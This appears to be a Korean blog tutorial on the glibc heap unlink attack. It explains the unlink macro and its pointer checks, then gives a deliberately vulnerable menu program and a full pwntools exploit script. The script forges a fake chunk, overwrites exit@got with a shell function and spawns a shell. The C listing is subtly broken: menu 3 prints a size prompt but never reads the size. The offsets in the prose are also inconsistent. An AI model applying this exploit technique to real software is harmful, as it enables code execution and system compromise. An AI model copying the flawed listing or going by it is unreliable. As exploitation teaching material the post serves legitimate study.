해제된 청크 연결하는 이중 연결 리스트에서 청크 연결을 해제하는 매크로 unlink를 이용해서 임의 주소 쓰기를 하는 공격 기법이다.
주소를 알 수 있는 위치(ex. 전역 버퍼)에 unlink될 청크 주소가 저장되어 있는 경우 사용 가능하다.
unlink 매크로: 인접한 2개 이상의 청크를 연속해서 해제할 때 인접한 청크를 병합하기 위해 사용된다.
(smallbin, largebin 경우. fastbin에서는 인접해도 병합되지 않는다.)
if(!prev_inuse(p)){
prevsize = p->prevsize;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}
현재 청크의 prev_inuse 비트를 확인해서 이전 청크가 해제되었는지 확인하고 unlink 매크로를 호출한다.
glibc.2.23 버전에서 FD와 BK 포인터에 대한 검증이 존재해서 힙 포인터를 제외한 주소에 값을 쓰는 것이 불가능하다.
#define unlink(AV, P, BK, FD){
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
P->fd->bk에 P->bk 값 대입하고, P->bk->fd에 P->fd 값 대입한다.
unlink 매크로에서 힙 포인터 검증 코드
if(_builtinexpect(FD->bk != P || BK->fd != P, 0))
mallocprinterr(checkaction, "corrupted double-linked list", P, AV);
FD->bk != P || BK->fd != P 조건을 만족하지 않으면 오류 메시지 출력 후 비정상 종료된다.
따라서 이 두 검증을 우회하기 위해 fake chunk를 구성해야 한다.
0 | 0x111 |
0 | 0 |
ptr-0x18 | ptr-0x10 |
0x100 | 0x110 |
FD | BK |
익스 시나리오
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *ptr[10];
void get_shell()
{
system("/bin/sh");
}
int main(){
int ch, idx, size;
int i=0;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while(1){
printf("> ");
scanf("%d", &ch);
switch(ch){
case 1:
if(i >= 10){
printf("Do not Overflow\n");
exit(0);
}
ptr[i] = malloc(0x100);
printf("Data: ");
read(0, ptr[i], 0x100);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
printf("idx: ");
scanf("%d", &idx);
printf("size: ");
printf("data: ");
read(0, ptr[idx], size);
break;
case 4:
exit(0);
break;
default:
break;
}
}
return 0;
}
3번 메뉴에서 입력한 사이즈만큼 데이터를 입력받아서 BOF가 가능하다.
힙 오버플로우를 이용해서 다음 청크의 prev_size나 size를 조작할 수 있다.
목표: 전역변수 ptr에 적힌 힙 포인터를 got 주소로 변조해서 3번 메뉴에서 edit 시 get_shell 함수 주소를 입력해 got overwrite로 쉘을 획득하는 것.
1. 4개 힙 할당
-인접한 두 청크가 해제 시 병합하도록 하려면 small chunk 이상으로 할당해야 한다.
-bss 세션에 stdin과 stdout에 대한 주소가 적혀있으므로 이것을 건드리지 않기 위해 4개의 힙을 할당한다.
2. 첫 번째 청크에 fake chunk를 구성하고, 다음 청크의 prev_size, size를 변조한다.
- fake_chunk
- 다음 청크 prev_size: fake chunk 사이즈 크기 (첫 번째 청크 데이터 크기가 0x100이므로 fake chunk는 0x100크기(헤더포함)
- fake chunk의 fd에는 ptr-0x18, bk에는 ptr-0x10을 저장한다. (P->fd->bk = P와 P->bk->fd = P 조건 만족하기 위해)
- 다음 청크 size: prev_inuse 비트 없애기 (하위 1바이트 0으로 만든다.)
이렇게 설정하고 free함수 호출 시 연속적으로 두 개의 청크가 해제된 것으로 생각하고 unlink 매크로 호출한다.
unlink 매크로에서 BK->fd = FD로 인해 조작된 BK에 적힌 (ptr+0x10-0x10) + 0x10 위치에 조작된 FD인 ptr-0x18가 덮혀쓰여져 힙 포인터가 전역 변수를 가리키게 된다.
따라서 3번 메뉴에서 세 번째 청크 edit 시 실질적으로는 전역변수 ptr에 적힌 0x601098 포인터가 가리키는 위치에 적히게 된다.
stdin은 덮을 수 없으므로 청크 하나를 더 할당해서 fake chunk에 ptr+0x10 - 0x18, bk에 ptr+0x10 - 0x10을 줘서
unlink 시 (ptr+0x10-0x10) + 0x10 위치인 ptr+0x10 위치에 ptr+0x10- 0x18 = ptr - 0x8이 적히도록 한다.
그럼 ptr-0x8이 세 번째 청크에 대한 힙 포인터 위치에 적히면, 세 번째 청크 데이터 edit 시 실질적으로는 ptr-0x8에 입력을 받아서 힙 포인터들을 조작할 수 있게 된다.
3. 4번째 청크 해제
4. 3번 청크에 데이터 입력, 실질적으로 0x601098 위치에 입력받는다.
ptr에서 첫 번째 힙 청크에 대한 포인터가 exit@got로 변조되었다.
5. 1번째 edit 시 get_shell 함수 주소 입력해서 got overwrite
6. 4번 메뉴에서 exit(0) 시 쉘 획득
익스 코드
#!/usr/bin/python
from pwn import *
p = process("./unlink2")
elf = ELF("./unlink2")
get_shell = elf.symbols['get_shell']
ptr = elf.symbols['ptr']
def malloc(data):
p.sendlineafter("> ", '1')
p.sendafter("Data: ", data)
def free(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("idx: ", str(idx))
def edit(idx, size, data):
p.sendlineafter("> ", '3')
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendafter("data: ", data)
def exit():
p.sendlineafter("> ", '4')
malloc('A'*0x10)
malloc('B'*0x10)
malloc('C'*0x10)
malloc('D'*0x10)
data = p64(0) + p64(0) + p64(ptr+0x10-0x18) + p64(ptr+0x10-0x10)
data += 'A'*(0x100-len(data)) + p64(0x100) + p64(0x110)
edit(2, 0x130, data)
gdb.attach(p)
free(3)
edit(2, 0x10, 'A'*8 + p64(elf.got['exit']))
edit(0, 8, p64(get_shell))
exit()
p.interactive()
tcache memory leak (0) | 2020.06.13 |
---|---|
House of Force (0) | 2020.06.12 |
Poison NULL Byte (0) | 2020.06.12 |
Unsorted bin attack (0) | 2020.06.11 |
Tcache House of Spirit (0) | 2020.06.11 |